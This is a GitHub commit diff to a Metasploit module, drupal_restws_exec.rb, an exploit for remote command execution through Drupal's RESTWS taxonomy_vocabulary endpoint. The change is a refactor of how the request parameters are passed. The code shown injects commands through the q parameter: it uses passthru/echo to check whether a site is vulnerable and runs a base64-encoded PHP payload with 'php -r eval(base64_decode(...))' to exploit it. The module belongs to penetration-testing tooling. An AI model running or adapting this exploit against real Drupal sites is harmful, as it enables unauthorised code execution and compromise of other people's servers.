Skip to content

Commit 9c8e351

Browse files
committed
Use vars_get un send_request_cgi
1 parent ec2f8fc commit 9c8e351

File tree

1 file changed

+9
-9
lines changed

1 file changed

+9
-9
lines changed

modules/exploits/unix/webapp/drupal_restws_exec.rb

Lines changed: 9 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -53,10 +53,12 @@ def initialize(info={})
5353

5454
def check
5555
r = rand_text_alpha(8 + rand(4))
56-
url = normalize_uri(target_uri.path, "?q=taxonomy_vocabulary/", r , "/passthru/echo%20#{r}")
5756
res = send_request_cgi(
5857
'method' => 'GET',
59-
'uri' => url
58+
'uri' => normalize_uri(target_uri.path, "index.php"),
59+
'vars_get' => {
60+
'q' => "taxonomy_vocabulary/#{r}/passthru/echo #{r}"
61+
}
6062
)
6163
if res && res.body =~ /#{r}/
6264
return Exploit::CheckCode::Appears
@@ -66,15 +68,13 @@ def check
6668

6769
def exploit
6870
random = rand_text_alpha(1 + rand(2))
69-
url = normalize_uri(target_uri.path,
70-
"?q=taxonomy_vocabulary/",
71-
random ,
72-
"/passthru/",
73-
Rex::Text.uri_encode("php -r 'eval(base64_decode(\"#{Rex::Text.encode_base64(payload.encoded)}\"));'")
74-
)
71+
cmd = "php -r 'eval(base64_decode(\"#{Rex::Text.encode_base64(payload.encoded)}\"));'"
7572
send_request_cgi(
7673
'method' => 'GET',
77-
'uri' => url
74+
'uri' => normalize_uri(target_uri.path, "index.php"),
75+
'vars_get' => {
76+
'q' => "taxonomy_vocabulary/#{random}/passthru/#{cmd}"
77+
}
7878
)
7979
end
8080
end

0 commit comments

Comments
 (0)